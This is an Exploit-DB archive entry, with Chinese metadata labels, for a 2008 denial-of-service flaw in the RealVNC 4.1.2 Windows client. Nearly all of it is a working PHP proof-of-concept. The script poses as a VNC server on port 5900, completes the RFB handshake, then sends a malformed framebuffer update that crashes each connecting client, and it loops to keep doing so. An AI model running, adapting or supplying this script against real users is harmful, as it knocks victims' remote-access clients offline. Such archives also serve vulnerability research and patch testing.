标题: RealVNC Windows Client 4.1.2 - Remote Denial of Service Crash (PoC) EDB-ID: 6181 CVE: 2008-3493 类型: DOS 平台: WINDOWS 发布日期: 2008-08-01 漏洞利用脚本: #!/usr/bin/php

<?php

# RealVNC Windows Client DoS
# AppName: vncviewer.exe 
# AppVer: 4.1.2.0 
# ModName: vncviewer.exe 
# ModVer: 4.1.2.0  
# Offset: 000229e0 

function vncear() {

 $port = "5900";
 $ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
 socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1);
 socket_bind($ser,"0.0.0.0", $port);
 socket_listen($ser, 5);

 print "\n[+] listening on $port ...\n";

 $crashvnc = socket_accept($ser);
 print "[+] client connected\n";
 // ProtocolVersion
 socket_write($crashvnc, "RFB 003.008\n");
 while($i=socket_read($crashvnc, 1024)) if(substr($i,0,6) == "RFB 00") break;
 print "\tprotocol has been negotiated\n";

 // Security type none
 socket_write($crashvnc, "\x01\x01");
 while($i=socket_read($crashvnc, 1024)) if(ord($i[0])==1)break;
 //$i=socket_read($crashvnc, 124);
 print "\tsecurity type accepted\n";

 // SecurityResult ok
 socket_write($crashvnc, "\x00\x00\x00\x00");
 while($i=socket_read($crashvnc, 1024))
       if(ord($i[0])==0 || ord($i[0])==1)break;
 // 
 socket_write($crashvnc, "\x04\x00". //frame buffer width
      "\x03\x00". //frame buffer height
      /* pixel format */
      "\x20". //bits per pixel
      "\x18". //depth
      "\x00". // big endian flag
      "\x01". // true color flag
      "\x00\xFF". //red max
      "\x00\xFF". //green max
      "\x00\xFF". //blue max
      "\x10". //red shift
      "\x08". //green shift
      "\x00". //blue shift
      "\x00\x00\x00". //padding
      /* pixel format */
      "\x00\x00\x00\x08". //name lenght
      "\x41\x4E\x59\x55\x4C\x49\x4E\x41" // name ANYULINA
      );


 socket_write($crashvnc, 
 "\x00\x00\x00\x03". //frame buffer update
 "\x00\x05\xFF\xFF\x00\x11\x00\x14\xFF\xFF\xFF\x11".
 "\x3F\x3F\x3F\x3F\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F".
 "\x3F\x00\x3F\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F".
 "\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00\x3F".
 "\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x3F\x3F".
 "\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00\x00\x00\x3F\x3F\x3F\x3F\x3F".
 "\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x00\x00\x00\x3F\x3F\x3F\x3F\x3F".
 "\x3F\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x3F\x3F\x00\x00\x3F".
 "\x00\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F".

 "\x00\x00\x00\x3F".
 "\x00\x3F\x3F\x00\x00\x3F\x3F".
 "\x00\x3F\x3F\x00\x3F\x3F\x00\x3F\x3F\x00\x00\x3F\x3F\x3F\x00\x3F".
 "\x3F\x3F\x3F\x3F\x3F\x3F\x3F".
 "\x00\x3F\x3F\x00\x3F\x00\x3F\x3F\x00".
 "\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F".
 "\x00\x3F\x3F\x00\x3F".
 "\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x00".
 "\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F".
 "\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F".
 "\x3F\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00".
 "\x3F\x3F\x3F\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00".
 "\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F".
 "\x00\x3F\x3F\x3F\x3F\x3F\x00\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x3F".
 "\x00\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F".
 "\x00\x3F\x3F\x3F\x3F\x3F\x3F\x3F\x00\x3F\x3F\x06".
 "\x00\x00\x0F\x00\x00\x0F\x00\x00\x0F\x00\x00".
 "\x0F\x00\x00\x0F\xC0\x00\x0F\xF8\x00\x0F\xFC\x00\x6F\xFF\x00\xFF".
 "\xFF\x80\xFF\xFF\x80\x7F\xFF\x80\x3F\xFF\x80\x3F\xFF\x80\x3F\xFF".
 "\x80\x1F\xFF\x80\x0F\xFF\x00\x0F\xFF\x00\x07\xFE\x00\x03\xFE\x00".
 "\x00\x00\x00\x00\x04\x00\x03\x00\x00\x00\x00\x10\x00\x00\x94\xFA");

  print "\tit should be dead already";
 while(socket_read($crashvnc, 1024)) print ".";
 socket_close($crashvnc);
 socket_close($ser);

}

print "RealVNC Windows Client DoS (http://realvnc.com/)\n";

for (;;) 
 vncear();


?>

# milw0rm.com [2008-08-01] URL: https://www.exploit-db.com/exploits/6181